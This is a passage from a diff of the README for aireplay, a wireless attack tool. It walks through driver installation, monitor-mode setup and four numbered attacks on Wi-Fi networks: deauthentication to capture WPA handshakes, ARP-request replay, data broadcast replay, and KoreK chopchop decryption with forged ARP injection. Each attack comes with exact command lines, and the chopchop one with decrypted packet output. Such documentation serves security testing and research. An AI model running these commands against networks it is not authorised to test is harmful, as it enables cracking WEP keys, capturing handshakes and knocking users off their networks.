a tarball is also available at http://madwifi.otaku42.de/ + +cd /usr/src +cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/madwifi co madwifi +cd madwifi +patch -Np1 -i ~/aireplay-2.2/patch/madwifi-20050309.patch.0.1 +make +make install +modprobe ath_pci + + + 1.3. Installing prism54 + ----------------------- + +Make sure the hotplug package is installed and hotplug firmware +loading support is present in your kernel (module firmware_class). + +cd /usr/src +wget http://prism54.org/pub/linux/snapshot/tars/prism54-svn-latest.tar.bz2 +tar -xvjf prism54-svn-latest.tar.bz2 +cd prism54-svn-latest +make modules +make install +mkdir -p /usr/lib/hotplug/firmware +wget http://prism54.org/~mcgrof/firmware/1.0.4.3.arm +mv 1.0.4.3.arm /usr/lib/hotplug/firmware/isl3890 +modprobe prism54 + + + 2. Using aireplay + ================= + + *** aireplay does not capture replies: *** + *** you must also start airodump (not Kismet!) *** + + If you use madwifi, you may have to place the card in + pure 802.11b mode first: + +iwpriv ath0 mode 2 + + If you use wlan-ng, run ./wlanng.sh start wlan0 + Otherwise run: + +iwconfig ath0 mode Monitor channel +ifconfig ath0 up + + + 2.1. Attack 1: deauthentication + ------------------------------- + +This attack is especially useful to capture an ESSID or a WPA handshake; +it will not generate WEP traffic (or very little). + +./airforge 00:02:2D:AA:9C:13 00:09:5B:FC:21:F4 deauth.pcap +./aireplay -m 26 -u 0 -v 12 -w 0 -x 1 -r deauth.pcap ath0 + + + 2.2. Attack 2: classic arp-request resend + ----------------------------------------- + +./aireplay -f 0 -t 1 -m 68 -n 68 -d FF:FF:FF:FF:FF:FF ath0 + + + 2.3. Attack 3: data broadcast resend + ------------------------------------ + +This attack is quite unreliable and often doesn't work. You need +the MAC address of an authenticated station so that the AP will +not drop the packets. As most APs work in open authentication mode, +if you have another wireless card, you can simply associate it +and use its MAC address. + +./aireplay -h 00:09:5B:FC:21:F4 -c FF:FF:FF:FF:FF:FF -o 08 -p 41 ath0 + + + 2.4. Attack 4: arp-request forgery + ---------------------------------- + +First, we need a prga by decrypting a data packet. For this, add the -k +flag which will enable KoreK's chopchop attack: + +./aireplay -k eth1 + +This attack may not work in deauthenticated mode (in which the source +MAC address is forged). If this is the case, you will have the pass the +address of an authenticated station: + +./aireplay -h 00:09:5B:FC:21:F4 -k eth1 + +If no station is authenticated, and you have a spare wireless card +(say, an orinoco on eth1) you can use it to associate with the AP +as most Access Points run in open authentication mode and do not +actually check the WEP key - then use the MAC adresse of eth1 when +running the chopchop attack. Having an authenticated station is +also useful when there are no connected clients, so that the AP +will send broadcast packets to the air (even though when don't +know the WEP key yet). + +iwconfig eth1 mode Managed essid "whathever" key 1111111111 +ifconfig eth1 up + +If the attack suceeded, have a look at the decrypted packet: + +tcpdump -e -n -t -r replay_dec-050320-023844.cap + +BSSID:00:02:2d:aa:9c:13 SA:00:09:5b:fc:21:f4 DA:00:05:1b:44:8a:ce LLC, dsap +SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03, IP 10.0.0.2.32774 > 10.0.0.3.22: S +2961438793:2961438793(0) win 5840 + +Now we have enough information to forge an ARP request: + +./airforge replay_dec-050320-023844.xor 1 00:02:2d:aa:9c:13 \ +00:09:5b:fc:21:f4 10.0.0.2 10.0.0.3 arp.cap + +And finally: + +./aireplay -r arp.cap ath0 +